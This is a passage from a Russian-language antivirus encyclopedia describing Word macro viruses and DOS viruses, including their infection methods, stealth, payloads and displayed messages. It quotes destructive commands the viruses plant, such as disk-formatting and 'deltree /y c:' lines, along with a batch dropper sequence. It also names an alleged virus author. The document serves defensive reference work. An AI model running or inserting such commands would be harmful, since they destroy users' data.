WinWord вызывает, находящиеся в этих документах вирусные макросы,
которые написаны на языке WordBasic и в дальнейшем могут быть
определены, как глобальные макросы. Данные макросы производят
копирование вирусного тела - вирусных макросов при сохранении "старых
документов" или вновь создаваемых через команду "Save As". Также данные
вирусы могут производить поиск документов в формате WinWord и
производить в них запись вирусных макросов. При выходе из WinWord
происходит автоматическая запись вирусных глобальных макросов в DOT-
файл (как правило, это файл NORMAL.DOT). Таким образом, при следующем
старте WinWord снова автоматически загрузит вирусные глобальные макросы
из файла глобальных макросов NORMAL.DOT.
WM.Alliance
"Родительская" копия вируса содержит макрос AutoOpen. При открытии
зараженного документа обновляет SummaryInfo, записывая туда строку
"You Have Been Infected by the Alliance". Не производя никаких проверок
создает в Normal.Dot макросы AutoOpen и AutoNew и записывает в них свое
тело. Т.о., копии вируса будут содержать уже два макроса с идентичнымWM.Appder (1,2)
Очень опасные макро - вирусы. После 20 заражений удаляют файлы
C:\DOC\*.EXE, C:\DOC\*.COM, C:\WINDOWS\*.EXE, C:\WINDOWS\SYSTEM\*.TTF,
C:\WINDOWS\SYSTEM\*.FOT.
WM.Bandung
Очень опасный макро-стелс-вирус. Блокирует пункты меню работы с
макросами. С 20 числа каждого месяца с 11:00 на диске C: удаляет файлы
во всех каталогах (кроме WINDOWS,WINWORD и WINWORD6) до третьего уровня
вложенности. Во время этого акта вирус выводит текст в строке статуса
"Reading menu...Please wait !".После чего создает файл C:\PESAN.TXT, в
который записывает текст:
Anda rupanya sedang sial, semua file di mesin ini kecuali yang berada di
direktori WINDOWS dan WINWORD telah hilang, jangan kaget, ini bukan ulah
Anda, tapi ini hasil pekerjaan saya...Barang siapa yang berhasil menemukan
cara menangkal virus ini, saya akan memberi listing virus ini untuk Anda
!!! Dan tentu saja saya akan terus datang kesini untuk memberi Anda salam
dengan virus-virus terbaru dari saya...selamat ! Bandung,
WM.Boom
В теле вируса содержатся макросы AutoExec, DateiSpeichernUnter
("FileSaveAs") и System. Заражение NORMAL.DOT происходит при вызове
FileSaveAs. Макро AutoOpen устанавливает процедуру обработки таймера,
которая в свою очередь, в 13:13:13 выполняет макрокоманду System.
System изменяет строку основного меню, предполагая, что она написана
на немецком языке. В результате имена пунктов образуют строку:
Mr. Boombastic and Sir WIXALOT are watching you ! ! !
Т.о., "Datei" ("File") заменяется на "Mr. Boombastic", "Bearbeiten"
("Edit") на "and", а "?" - на последний "!". Замена каждого пункта меню
сопровождается небольшой задержкой и системным гудком Windows. После
этого вирус выводит фразу:
Mr. Boombastic and Sir WIXALOT : Don`t Panik, all things are
removeable !!! Thanks VIRUSEX !!!
создает новый файл, записывает в него разными шрифтами и с отступами
следующий текст:
Greetings from Mr. Boombastic and Sir WIXALOT !!!
Oskar L., wir kriegen dich !!!
Dies ist eine Initiative des Institutes zur Vermeidung und
Verbreitung von Peinlichkeiten, durch in der гffentlichkeit
stehende Personen, unter der Schirmherrschaft von Rudi S. !
и выводит этот файл на принтер. После этого установки и вид меню
сбрасываются в состояние по умолчанию. В теле макроса System содержится
ряд закомментированных команд, которые на время вирусных эффектов
переименовывает C:\AUTOEXEC.BAT в C:\BOOMBAS.TIC, C:\CONFIG.SYS в
C:\SIR_WIXA.LOT и C:\COMMAND.COM в C:\FANTAS.TIC, а перед выводом на
принтер возвращают файлам первоначальные имена. Этот код никогда не
выполняется.
WM.Buero
Написан для немецкоязычной версии Word for Windows, содержит макросы
B№roNeu и DateiSpeichern. При заражении файлов переносит свои макросы в
файл, записывая их под другими именами, комбинируя "B№roNeu",
"DateiSpeichern" и "AutoOpen". Если текущая дата больше 15.08.1996,
переименовывает C:\IO.SYS в C:\IIO.SYS и уничтожает все файлы с
расширением *.doc.
WM.Cap
Зашифрованный стелс-вирус. Блокирует пункты меню работы с макросами и
удаляет ссылки на эти меню. Запрещает выполнение макроса AutoOpen при
открытии документов. При попытке сохранения инфицированного документа с
помощью команды FileSaveAs вирус записывает на диск абсолютно пустой
документ. Вирус содержит текст:
C.A.P: Un virus social.. y ahora digital..
"j4cKy Qw3rTy" (jqw3rty@hotmail.com).
Venezuela, Maracay, Dic 1996.
P.D. Que haces gochito ? Nunca seras Simon Bolivar.. Bolsa !
WM.Chaos
Содержит текст:
*********************************
* -x UlTiMaTe x- *
* CCCCC H H AAAAA OOOOO SSSSS *
* C H H A A O O S *
* C HHHHH AAAAA O O SSSSS *
* C H H A A O O S *
* CCCCC H H A A OOOOO SSSSS *
* -x v2.3 - 1st June, 1996 x- *
*********************************
WM.Concept (1-4, 7-9)
При первом просмотре или редактировании инфицированного документа
появляется MessageBox с цифрой 1 внутри. Вирус содержит макросы,
имеющие имена AutoOpen, AAAZAO, AAAZFS, FileSaveAs, PayLoad. Зараженный
файл-документ содержит тексты:
see if we're already installed
WW6Infector
iWW6IInstance
AAAZFS
AAAZAO
That's enough to prove my point
В зараженной системе в файле WINWORD6.INI имеется строка "WW6I= 1".
WM.Concept (5)
Вариация на тему WordMacro.Concept (1). Содержит макросы AutoOpen,
EditSize (оба - инсталляция вируса), HaHa (признак зараженности файла)
и FileSort. При запуске FileSort вирус стирает его содержимое, выводит
большими буквами текст:
i said:
say goodbye to all your stuff
(look at that hard drive spin!)
заражает файл и 100 раз подряд выполняет команду FileSave. Утраченный
текст восстановить невозможно.
WM.Concept (6)
Содержит макросы AutoOpen, Boom, F1 и F2. Макрокоманда Boom из тела
вируса не вызывается и может быть выполнена только в том случае, когда
пользователь сам этого захочет. Тогда будет выведен MeassageBox с
заголовком "AFA" и текстом "Fight Racism; Smash Fascism".
WM.Daddy
В теле вируса содержатся макросы Gangsterz и Paradise, которые получают
управление только в том случае, если пользователь сам запустит их на
выполнение. Оба макроса перехватывают сообщения, поступающие от
клавиатуры (устанавливают клавиатурные макросы) и инфицируют
NORMAL.DOT. После этого при каждом нажатии на пробел будет запускаться
Gangsterz, на клавишу 'E' - Paradise. При запуске макроса Gangsterz
вирус создает файл XOP.BAT, заражает его вирусом BAT.Xop.367, если в
секции "Intl" файла WIN.INI не присутствует строка "XOP=Installed" и
записывает в WIN.INI эту строку. После этого вставляет в AUTOEXEC.BAT
строки
@echo off
Drive:\Path\XOP.BAT
где Drive:\Path - полный путь к фалу XOP.BAT. Макрос Paradise проверяет
текущую дату и 15 января уничтожает NORMAL.DOT, записывая в него строку
"Big_Daddy_Cool Virus generated by NJ" и в "вечном цикле" вставляет в
него букву "O", предварительно запретив реакцию на нажатие клавиш.
WM.Daniel (1,2)
Макро-стелс вирус. Переопределяет меню File|Save и нажатие на клавиши
Ctrl-S, Ctrl-B на свой макрос. Данный макрос заражает текущий документ,
добавляя в его FileSummaryInfo поля: Keywords = "Daniel_Stone",
Comments = "All information should be free." Вирус удаляет пункты меню
работы с макросами и, таким образом, прячет наличие своих макросов в
системе. Содержит тексты:
REM This is the Word_Macro_Virus_Daniel_1D - Have a nice Day!
REM Please Suport the Virus Concept.
WM.Demon
В документах содержит макрос AutoOpen и 2 макроса со случайными
именами, в NORMAL.DOT - AutoClose и также 2 макроса со случайными
именами. Имена же эти хранит в переменных документа или в файле
WIN.INI. С мая до января удаляет себя из документов и шаблонов. Если
в документе имеется выделенный текст "Dark Master calling", то вирус
выводит окно с сообщением:
Microsoft WinWord DEMON
WINWORD HIDDEN DEMON
is happy to see his MASTER!!!
GREAT DAY !!!
This file is infected as #
WM.GoldFish
Содержит практически совпадающие макросы AutoOpen и AutoClose. При
заражении производит проверку наличия в файле макросов с такими именами
и атрибутом "ExecOnly". Если в документе находится макрос,имеющий такие
атрибуты и имя, совпадающее с AutoOpen или AutoClose, соответствующий
вирусный макрос в документ не переносится. Если текущий год - 1996 или
больше, каждый из вирусных макросов с вероятностью 1/500 выводит
диалоговое окно с заголовком "GoldFish" и текстом "I am the GoldFish,
I am hungry, feed me." и ждет ввода одного из слов "fishfood", "worms",
"worm", "pryme" или "core".
WM.Irish
Содержит макросы AutoOpen (заражение NORMAL.DOT), WordHelp, WordHelpNT
(оба - визуальные эффекты) и AntiVirus, который при запуске из
NORMAL.DOT заражает открытый файл и выдает системный гудок Windows.
WordHelp и WordHelpNT при активизации изменяют и сохраняют цветовые и
некоторые другие настройки дисплея.
WM.MadDog
Содержит макросы AutoOpen, AutoExec, AutoClose, FileClose, AOpnFinish и
FCFinish. Все макросы, кроме AutoClose, в качестве "шапки" содержат
строки:
--------------------------------------------------------
Microsoft Word for Windows 95 "MadDog" Macro Set
v 1.0, March l996
--------------------------------------------------------
(c) Copyright Microsoft Corporation, 1995
Заражает файлы довольно запутанным способом, похожим на упражнения
в структурном программировании на WordBasic. При этом используются
временные файлы с именами "Temp.Dot" и "FileName.Dat" и вызовы вирусных
макросов, как подпрограмм. Поскольку временные файлы создаются,
записываются и сохраняются средствами WordBasic, для маскировки факта
работы с ними вирус сбрасывает список MRU (Most Recently Used files -
наиболее часто используемых файлов) в меню Files.Перед закрытием файлов
в период с 20.00 до 20.59 вирус "убивает" текст, меняя все буквы "e"
("E") на "a" и сохраняет файл. При заражении файлов никаких проверок не
производится.
WM.MDMA
Вирус инсталлируется при закрытии файла (вызов AutoClose). В Normal.Dot
переносится макрос AutoClose.Если такой макрос содержится в Normal.Dot,
то вирус считает, что система уже заражена. 1 числа каждого месяца
определяет платформу, под которой работает, и в зависимости от нее
предпринимает различные действия:
Windows95 : удаляет файл C:\SHMK, файлы C:\WINDOWS\*.HLP и
C:\WINDOWS\SYSTEM\*.CPL и меняет некоторые настройки,
задаваемые группами Control Panel и Network.
Windows NT: удаляет файл C:\SHMK и все файлы текущего каталога.
Windows : удаляет файл C:\SHMK и записывает в AUTOEXEC.BAT следующие
строки:
@echo off
deltree /y c: ; (удаление дерева каталогов на C: без
; подтверждения)
@echo You have just been phucked over by a virus
Macintosh : уничтожает MacID$("****") ???
Независимо от предпринятых действий при закрытии инфицированного файла
будет выведен MessageBox с текстом "You are infected with MDMA_DMV.
Brought to you by MDMA (Many Delinquent Modern Anarchists)." , имеющий
заголовок "MDMA_DMV".
WM.NJ.based
Вирусы, созданные с помощью NJ-WMVCK v1.1 (Nightmare Jokerяs Word Macro
Virus Construction Kit) - немецкоязычным генератором MACRO-вирусов. При
открытии запрашивает имя файла, в который будет записан создаваемый
вирус и язык для диалогов (немецкий или английский, выбор последнего
влечет за собой сообщение о том, что эта возможность еще не
реализована). После выдачи нескольких информационных сообщений
продолжает диалог и просит ввести текстовую строку и имя макроса,
который будет служить признаком зараженности. В этот макрос будет
записан код, заражающий DOS одним из 10 файловых вирусов. Список DOS-
вирусов содержит несколько творений, созданных с помощью известных
программ-конструкторов вирусов (VirusConstructor.based),генераторов MTE
и SMEG, вирусы Casino.2330, Tequila, Neurobasher.Tremor и Win95.Boza.
Имя вируса запрашивается дополнительно. После этого в указанный файл
записывается текст "A New Life! Nightmare Joker!", формируется и
переносится текст MACRO-вируса и оба файла (только что созданный и файл
-конструктор) закрываются. Генератор содержит ряд неточностей и
погрешностей, в результате которых на любом этапе работа может быть
прервана сообщениями об ошибках Word Basic'а. Так, например, для ввода
одной строки выводится многострочный InputBox, имя создаваемого файла
всегда дополняется строкой "C:\" и т.д.
WM.Orhey
Наборы макросов этого вируса различаются в глобальных шаблонах и
заражаемых документах. Первоначальная копия содержит макросы AtExc,
FlOpvvv, FISvv, AutoOpen, FileExit, TlsMcr и FlSvvs (набор 1). При
открытии зараженного файла получает управление макрос AutoOpen. Он
производит проверку зараженности главного шаблона, и, если в нем не
содержится макроса с именем ImpRovevvvv5, переносит в него свое тело,
изменяя имена макросов (набор 2):
AutoOpen -" ImpRovevvvv5
AtExc -" AutoExec
FlOpvvv -" FileOpen
FlSvvs -" FileSaveAs
FlSvv -" FileSave
TlsMcr -" ToolsMacro
FileExit -" FClccc
Макро AutoExec содержит деструктивный эффект,который должен срабатывать
22 мая 1998 года. Предполагается вывод Message Box с заголовком
"GreenPeace Virus" и текстом:
Belik Natasha demands:
Stop pollution of an environment!!!!!
Protect ozonian layer!!!
Rescue Volga!!!
Pay the salary!!!!!
После этого будут уничтожены файлы по маске "*.HLP" и подана команда
ExitWindows. При работе с документом в инфицированной системе
происходит стандартное его заражение при вызове макроса FileSaveAs, при
этом вирус копирует макросы из шаблона в документ, изменяя их имена на
имена из набора 1. Макрос FileOpen проверяет поле Author потока Summary
Info открываемого документа. Если имя автора Igor Daniloff, вирус ищет
в документе макросы AutoOpen и iDrWebScan, которые содержатся в вакцине
Dr.Web for WinWord версии 1.0. При нахождении AutoOpen вирус
перезаписывает его содержимое и вставляет код, который при запуске
макроса должен вывести Message Box с заголовком "DrWeb for WinWord" и
текстом:
" In the WinWord6.0/7.0rus environment "
" the viruses are not distributed "
(что действительности, конечно, не соответствует. Возможно, автору
вируса не понравилось, что эта вакцина не была рассчитана на работу в
рускоязычных версиях редактора? Сам вирус работоспособен в любой
локализованной версии Word for Windows). При нахождении макроса
iDrWebScan вирус стирает его содержимое и записывает в макрос
"пустышку", состоящую из пустой строки с комментарием. Вирус
демонстрирует описанный Message Box, при этом в файл WINWORD6.INI или
аналогичный записывается строка "keyrus = TEXT", где TEXT - строка,
содержащая время последнего сохранения документа. Вид этой строки может
меняться в зависимости от системных настроек. Макрос ToolsMacro
подменяет собой стандартную процедуру меню Tools|Macro (если не один
документ не открыт - File|Macro). При вызове этого макроса вирус
пытается "выжить" как в главном шаблоне, так и в открытом документе,
если документ заражен. Для этого он переименовывает макросы,
устанавливает у шаблона и документа парольную защиту от редактирования,
используя пароль "orhey", после чего открывает стандартное окно Tools
\Macro. Защита макросов приводит к тому, что их нельзя не только
просмотреть или редактировать, но и удалить или переименовать макросы,
пользуясь средствами Word for Windows становится невозможно -
доступными остаются только кнопки "Run" и "Close". После закрытия окна
Tools\Macro вирус возвращает макросам старые имена и снимает с
документов пароли.
WM.Pcw
Судя по всему, этот вирус - подарок ко дню рождения. Написан для
немецкоязычной версии Word for Windows. Содержит макросы AutoOpen
(проверка условий активации и инсталляция) и DateiSpeichernUnter
(FileSaveAs, заражение), заражает NORMAL.DOT. Если текущая дата больше,
чем 14 и месяц больше июня, AutoOpen выводит MessageBox с текстом:
Herzlichen Gl№ckwunsch
Susanne B. aus E.
zu deinem Geburtstag
Ich liebe dich
Happy Birthday
WM.Satanic
Вирус написан для немецкоязычной версии Word for Windows, однако
большинство его функций работоспособны в любой версии редактора. Он
содержит макросы AutoOpen, AutoClose, AutoExit, AutoNew и AutoExec.
Заражение системы происходит при вызове AutoExec и AutoOpen. Признаком
зараженности файла служит наличие в нем макроса AutoExit. Заражение
файлов происходит при исполнении AutoClose, AutoExec, AutoExit и
AutoNew. Если AutoClose просто проверяет наличие в файле AutoExit и
заражает, если макрос не найден, то 3 остальных кроме этого содержат
различные эффекты. AutoExit 1 октября запускает командный процессор,
передавая ему строку "echo y|Format c: /u". AutoNew выводит 9 сентября
MessageBox с заголовком "Nightmare Joker :-)" и текстом "Youяre
infected with Satanic". AutoExec удаляет из меню "Extras" пункты
"Makro...", "Anpassen..." и "Optionen...". Самым любопытным является
макро AutoOpen. Если система не заражена, вирус проверяет наличие файла
C:\DOS\DEBUG.EXE и, если он найден, создает файл C:\Fun.scr. В него
записывается информация, которая затем передается программе DEBUG.EXE.
В результате будет создан файл C:\NC.COM, зараженный DOS-вирусом
Claudia.8777. После этого создается файл C:\Fun.bat и в него
записываются следующие команды:
@echo off
debug " Fun.scr " nul
@echo off
nc.com
@echo off
del Fun.scr
После запуска C:\Fun.bat MACRO-часть вируса инфицирует NORMAL.DOT или
файл, его заменяющий. В зараженной системе в файле WIN.INI в секции
[Control] присутствует строка "Installed=YES".
WM.ShareFun
Опасный зашифрованный макро-стелс-вирус.Вирус содержит макрос AutoOpen,
который при открытии инфицированного документа с вероятностью 1/4
вызывает макрос ShareTheFun. Данный макрос сохраняет текущий
инфицированный документ под именем C:\DOC1.DOC, сканирует Microsoft
Mail (если данная система установлена, ежели нет - то вирус
"перезагружает" MS-Windows), выбирает из нее 3 случайных адреса и
посылает по этим адресам зараженный документ C:\DOC1.DOC. Данные письма
содержат заголовок "You have GOT to read this!". Вирус блокирует пункты
меню работы с макросами (стелс-процедура).
WM.Tedious
Содержит макросы AutoNew, vAutoNew, FileSaveAs, vFileSaveAs, почти на
100% совпадающие по содержанию. Заражение файлов происходит при вызове
любого из них без каких бы то ни было проверок. Макросы vAutoNew и
vFileSaveAs никогда не запускаются автоматически и не получают
управления из тела вируса. Никак не проявляется.
WM.Zero
Работоспособен только в немецкой версии WinWord. В июне выводит окно
сообщений с текстом: "Lisa, ich liebe dich!".
Wormsign.1547, 1710
Опасные нерезидентные зашифрованные вирусы. Перед заражением файлов
выводят на экран строку "Wormsign !". При заражении перехватывают INT
9, 21h. Оставляют в памяти небольшую резидентную программу в области
второй половины векторов прерываний (0020:0000), которая обрабатывает
вызовы INT 13h, 1Ch, 26h. Примерно через 15 минут выводит в центре
экрана текст:
W o r m s i g n !
После чего записывает в адреса векторов INT 1, 3 слово "SANDWORM". При
записи в MBR и Boot-сектора дисков вирусы обнуляют значение количества
дорожек данного диска по смещению +1Ah в Boot-секторе. Содержат строку
"*** THE SANDWORM ***".
Worry.556
3 ноября выводит текст "Don't worry - be happy!" и "вешает" систему.
Worry.562
1 января в 14.30 выводит текст "Happy New Year !".
WpcBats.3072
Неопасный резидентный шифрованный вирус. При нажатии на клавишу "F1"
вирус выводит на экран текст:
----- - ----- ----- - -
¦-----¦- ¦----- -- ¦---- ¦-----
¦---¬-¦-----¦---¬- ¦-----¦---¬-
L- L-L-----L- L- L-----L- L-
------ A.R.Jr W P C B A T S -------
Также может вывести надпись "ALA-EH" в графическом режиме монитора.
Wra.512
Неопасный нерезидентный вирус. Выводит "Ok" после каждого удачного
заражения. Включает-выключает лампочку "NumLock" клавиатуры. Содержит
текст:
Don't give up! Have a nice Num! Have a nice Lock
Moon-Lock-Trouble. Copyright (c) 1993 by WRA.
Wreck.92, 462
Очень опасные резидентные вирусы. Перехватывают INT 13h и заражают EXE-
файлы при чтении их заголовка (f.02 Int 13h), записывая (f.03 Int 13h)
в заголовок данного EXE-файла, не сохраняя оригинальные байты, свой
код. Wreck.462 - полиморфный вирус, при старте выводит текст "So here
it is !...". Wreck.92 содержит текст "Wreck%".
Wrong
Очень опасный Boot-вирус. Сохраняет оригинальный Boot-сектор дискет по
адресу головка-1, дорожка-38, сектор-1, а MBR жесткого диска в одном из
последних секторов диска. При обращении к данным секторам на чтение или
запись выдает ошибку операции, не разрешая доступ к данному сектору.
WWPE.Rsa
Очень опасный резидентный полиморфный вирус. Создан с помощью
полиморфного генератора WWPE. При обращении к ZIP или ARJ - архивам
вирус добавляет в данные архивы файл c00lBbS.CoM, который содержит
вирусный код. При запуске такого файла на экране монитора появляется
изображение пламени. Иногда вирус блокирует запись на диск. Содержит
тексты "Wild W0rker /RSA", "WWPE v0.1".
Wxyc (1,2)
Загрузочные вирусы. Иногда при загрузке системы выводят текст "WXYC
rules this roost!". Содержат текст "JAM WXYC". Существует модификация
вируса, которая выводит текст "Virus by Vs&W Hackers" и содержит строку
"Mad Max!".
X-Mrei.866, 1405
Неопасные резидентные шифрованные (X-Mrei.1405 - полиморфный) вирусы.
Не заражают файлы, содержащие в своем имени буквосочетания AIWEANIN.
Выводят на экран строку "X-Mrei 7".
XAM.278
Заражает EXE-файлы весьма оригинальным способом. Вирус внедряет свой
код в область таблицы перемещаемых символов (relocation table), изменив
три байта сигнатуры EXE-файла 'MZ' на JMP NEAR. Но самое интересное
то, что вирус использует для заражения INT 16h. Перехватывая данное
прерывание вирус контролирует дисковые буферы DOS, просматривает всю
цепочку дисковых буферов и если обнаруживает в каком-нибудь из них
признаки заголовка EXE-файла, то внедряет свой код в заголовок EXE,
находящийся в этом буфере и устанавливает признак "загрязненности"
буфера. Т.е., если данный буфер используется для записи, DOS запишет
заголовок EXE-файла вместе с вирусом на диск.
XAM.797
Неопасный резидентный вирус. Содержит строки "Wait viruses XAM",
"Hi, Dimitriy Nikolaevich!".
XorAA
Очень опасный Boot-вирус. После 256 загрузок с жесткого диска шифрует
17 секторов 4ех цилиндров на каждой головке "винчестера".
Xtac.1564
Опасный резидентный вирус. После 24 числа каждого месяца удаляет файлы,
расширение которых отличается от расширений, указанных в следующей
текстовой строке "COMEXESYSBATOBJOVROVLINICFGTPUHLPTPLBGICHR". Содержит
текст "good news! you have justbeen smitten by XTAC - lyndon siao,
usc-tc"
Xuxa.1096, 1656
Неопасные резидентные шифрованные вирусы. Удаляют файлы CHKLIST.MS,
ANTI-VIR.DAT, CHKLIST.CPS. В августе Xuxa.1096 выводит текст:
Si no viste el Show de Xuxa por T.V, ni en vivo... '
ahora podes verlo en tu PC!. - XOU DA XUXA 1.2 '
By Leviathan.$'
Xuxa.1656 6 марта с 9.00 до 11.00 выводит на экран текст:
Xuxa Park 1.0 ¦ By Hades
"Y luchemos para que todos los niдоs delmundo tengan derecho a sодаr,
a sодаr por igual"
Содержат текстовую строку "TBSCASOLTOOCPF-CHKIBM".
Xyz.1561
Неопасный резидентный, пытающийся быть невидимым, вирус. В пятницу
может вывести слово из 3 букв, коее очень умные люди привыкли писать на
заборах.
YADEKA.Demo
Опасный резидентный вирус. Из-за ошибки разрушает около половины всех
заражаемых файлов. Выводит текст "This file infected with [yet another
data encryption kernel advance] demo virii". Также содержит текст "[yet
another data encryption kernel advance] v1.00".
Yale (1-3)
Опасные загрузочные вирусы. "Перехватывают" INT 9 и при нажатии на
Ctrl-Alt-Del заражают загрузочный сектор диска A:,сохраняя оригинальный
сектор по адресу 0-39-9, отформатировав предварительно 39 цилиндр.
Yankee.2561
Неопасный резидентный вирус - плагиат вирусов семейства Doodle. По 20
числам "трясет" экран. Содержит зашифрованный текст "(C) by M.E.S. from
MSU. Moscow 1993. Version 1.00 ( Demo ).Wait new viruses soon. See Ya!"
Yard.448, 590
Опасные резидентные вирусы. Уничтожают *.BAK-файлы. Содержат строку
"Yard-keeper".
Yeke.1204, 1706, 2425
Неопасные (Yeke.2425 - очень опасный) резидентные зашифрованные вирусы.
Yeke.2425 может уничтожить содержимое CMOS-памяти и секторов дисков.
Проигрывают мелодию и выводят тексты:
Yeke.1204, 1706:
Be Careful. YEKE Controls Your Computer.
Yeke.2425:
TERMINATOR 2
lives...
The Judgement Day has come!
Your system has been terminated.
Yeke.2425 записывает в сектора дискет программный код, который выводит
на экран текст "This system has been terminated.".
Yerg.120, 126
Неопасные резидентные вирусы. Имеют строку "Yerg?".
Yom.529
Может изменить системную дату и вывести сообщение "yesterday once
more".
Zabootovka (1-3)
Содержат текст "ЗаBOOТовка".
Zappa
Опасный загрузочный вирус. 4 декабря выводит текст "Dedicated to
ZAPPA..." и уничтожает сектора первого жесткого диска.
Zarin.669
Опасный нерезидентный вирус. 11 и 23 числа записывает в boot-сектор
диска C: троянскую программу, форматирующую 3 раза разными способами
первую дорожку диска C:. После записи "троянца" вирус выводит текст:
"Andy Said:Zarin`iS dangerous!".
ZeroBug.1536
Неопасный резидентный вирус. Иногда запускает рожицу (ASCII 1), которая
двигается на экране и стирает все символы '0'.
Zhengxi.7271, 7307, 7313
Неопасные резидентные полиморфные стелс-вирусы. Инфицированные файлы
содержат два "длинных" полиморфных расшифровщика. Первый декриптор
расшифровывает основное тело вируса и второй декриптор, после чего
отдает управление второму декриптору, который продолжает расшифровывать
основной вирусный код. Расшифровка производится не последовательно байт
за байтом или слово за словом, а произвольными "прыжками" по всему телу
вируса. При получении управления основной вирусный код перехватывает
INT 01 и трассирует оригинальный обработчик INT 21h. Данная трассировка
производится для поиска определенной последовательности байт,
присутствующих, как правило, во всех версиях DOS. При нахождении данной
последовательности байт вирус внедряет в оригинальный обработчик INT
21h косвенный межсегментный CALL на "длинный" прямой JUMP, находящийся
также в оригинальном обработчике. Данный JUMP указывает на вирусный
обработчик INT 21h. В дальнейшем резидентная копия может "перемещаться"
по различным сегментам памяти, в том числе, и в области UMB. После
перехвата INT 21h вирус строит два полиморфных расшифровщика для
восстановления исходных 22 байт заголовка инфицированного EXE-файла.
При заражении файла вирус шифрует данные байты с помощью полиморфных
механизмов, основанных на некоторых случайных стартовых значениях. При
восстановлении данных байтов вирус также использует данные полиморфные
механизмы. Для файлов, инфицированных описанным выше методом, активный
резидентный вирус использует стелс-алгоритмы. Но также вирус использует
еще один вариант заражения EXE-файлов, длина которых больше 32K. При
заражении таких файлов вирус считывает 6144 байт, следующих сразу за
EXE-заголовком и пытается найти последовательность байт, обычно
используемых в процедурах, написанных на языках высокого уровня. Если
данные байты найдены, то вирус производит некоторые дополнительные
проверки и внедряет вместо байт процедуры 84 байта собственного кода,
сохранив предварительно оригинальный программный код, шифрует
полиморфным методом основной вирусный код, который записывает в конец
файла-жертвы. Внедренный в середину программы код из 84 байт, при
получении управления, определяет имя стартовавшей программы,
устанавливает указатель на смещение вирусного тела в файле, считывает
из него 112 байт кода в область программного стека, расшифровывает его
и передает ему управление. Данный 122-байтный код считывает из файла
исходные 84 байта программной процедуры в их "законное" место и также
расшифровывает их. Затем вирус пытается получить свободный блок памяти,
(возможно в области UMB) и читает из инфицированного файла в этот блок
памяти полиморфнозашифрованный основной вирусный код и передает ему
управление. После собственной расшифровки вирус перехватывает INT 21h,
описанным выше способом и возвращает управление программе-
вирусоносителю. Т.о., вирус из такой инфицированной программы может
"выпрыгнуть", может "не выпрыгнуть" или "выпрыгнуть" при определенных
условиях, например, при задании определенного ключа в командной строке.
Для таких инфицированных файлов стелс-алгоритм вируса не работает.
Т.к., для файлов инфицированных первым способом, вирус "включает"
стелс-механизм, то, например, при архивировании зараженных EXE-файлов в
архивных файлах окажутся уже "здоровые" файлы. Но автор вируса
предусмотрел и этот вариант. При запуске некоторых архиваторов (ARJ,
ZIP,..) для архивации файлов вирус создает файл со случайным именем от
2 до 5 букв и расширением COM, и записывает в него свою полиморфную
копию. В результате архивный файл, наряду с "излеченными" EXE-файлами
будет содержать и COM-файл с телом вируса. При запуске такого файла
будет выведено сообщение "Abnormal program termination".Вирусы содержат
текст:
The Virus/DOS 0.54 Copyright (c) 1995 Zhengxi Ltd
Warning! This program for internal use only!
Для пострадавших от данного вируса привожу имя их создателя:
Денис Петров 2:5030/287.14.
Zherkov.1922, 2435, 2968, 2970
Неопасные резидентные вирусы. Zherkov.2345 на компьютерах с процессором
386 и выше пытается блокировать отладку. Zherkov.2968,2970 периодически
выводят на экран текст:
-------- --- --- --- ---
--- --- --- ---- --- ------------------------------------
--- --- --- -------- -------- --- -------- -------- ---
-------- --- --- --- --- --- --- --- --- --- --- ---
--- --- --- --- --- -------- --- -------- -------- ---
--- --- --- --- --- --- --- --- --- --- --- --- ---
--- --- --- -------- -------- --- -------- -------- ---
------------------------------------------------- -----------
--- ------- ------- ------- --- --- --- --- --- -- -------
--- --- --- --- --- ------- --- --- --- - --- ------- -------
--- ------- ------- ------- ------- --------- --- --- --- ---
----------- --- ------------------- -------------------------
ZhugeLiang.4784, 5976
Неопасные резидентные полиморфные вирусы. ZhugeLiang.4784 10 июня
периодически издает "музыкальные" звуки. Не заражают файлы: COMMAND,
IBM, TB, EMM386, SETVER, MSCDEX, CHKDSK, SCANDISK, XCOPY, BACKUP,
MSBACKUP, PKZIP, ARJ, LHA, RAR, TELIX, COMMO. Содержат тексты:
ZhugeLiang.4784:
ZhugeLiang v1.0b Written by Zhuge Jin on May 1., 1995 .
Made in Taiwan. Today is my Birthday 64/05/01 ! Oh! Yeah!
ZhugeLiang.5976:
ZhugeLiang v2.0 by Zhuge Jin in Taipei, 1995.
Zipper.2779 (1-3)
Неопасный резидентный вирус. Первым делом пытается заразить файлы
\COMMAND.COM, \DOS\FORMAT.COM. Внутри себя содержит ZIP-архив с файлом
ZIPPER.ASM. При трансляции данного исходного текста (ZIPPER.ASM)
получается неопасный резидентный вирус Zipper.303. Zipper.2779 содержит
текст """*"" Use PKUNZIP *.EXE immediately! ""*""".
Zmiana.1024 (1,2), 1224, 1383
Резидентные шифрованные вирусы.Zmiana.1024(1) в пятницу 13 числа портит
последний байт MBR жесткого диска, в результате чего система перестанет
загружаться с "винчестера" и устанавливает системную дату на 25 декабря
1994 года. Zmiana.1224 иногда выводит сообщение:
Info: zmiana rozmiaru programu !
Znosko.509, 1311, 1372, 1380, 1418, 1730
Данные вирусы названы так по той причине, что во всех исходных текстах,
конфискованных бдительной общественностью у автора данных вирусов,
содержатся следующие тексты:
;*************** virus 'Zarina Tamara'***************
;******* created by dima znosko ******
Очень опасные нерезидентные (Znosko.1730 - шифрованный) вирусы.Заражают
COM (Znosko.1730 также EXE) файлы на всех дисках во всех доступных
каталогах за один проход. При заражении файлов используют файловые
функции FCB INT 21h. Znosko.1372, 1380 после 19 числа месяца разрушают
все файлы на дисках. Znosko.1311, 1418 после 11 числа месяца
переименовывают все найденные файлы в файлы с именами типа AAAAAAAA,
BAAAAAAA, BBAAAAAA,... Znosko.1372, 1380, 1418 содержат текст "Find
FizFuck". Эти вирусы оставляют метку своего пребывания на дисках в виде
файлов IMAGE.IDX или WSURC.DMA в корневом каталоге.При нахождении таких
файлов на диске вирусы повторные попытки заражения такого диска
принимают значительно реже. Znosko.1730 пытается найти файл
C:\WIN95\WRIVDR.CNF, и если находит его, то считывает 2000 байт этого
файла в память и отдает ему управление по смещению 0. Znosko.1730
пытается уничтожить файлы *.CPP, *.BAK и *.C, записывая в них текст
"Срочно обратитесь к администатоу сети.". Znosko.509 выводит на экран
текст "Zarina Tamara".
Zombie.1922
Опасный резидентный зашифрованный вирус. Является "продуктом
жизнедеятельности" вируса Win95.Zombie. Но в дальнейшем может "жить
собственной полноценной жизнью". Win95.Zombie создает файлы ZSetUP.EXE
в корневых каталогах инфицируемых дисков. При запуске такого файла
ZSetUP.EXE вирусный код получает управление и пытается выяснить сможет
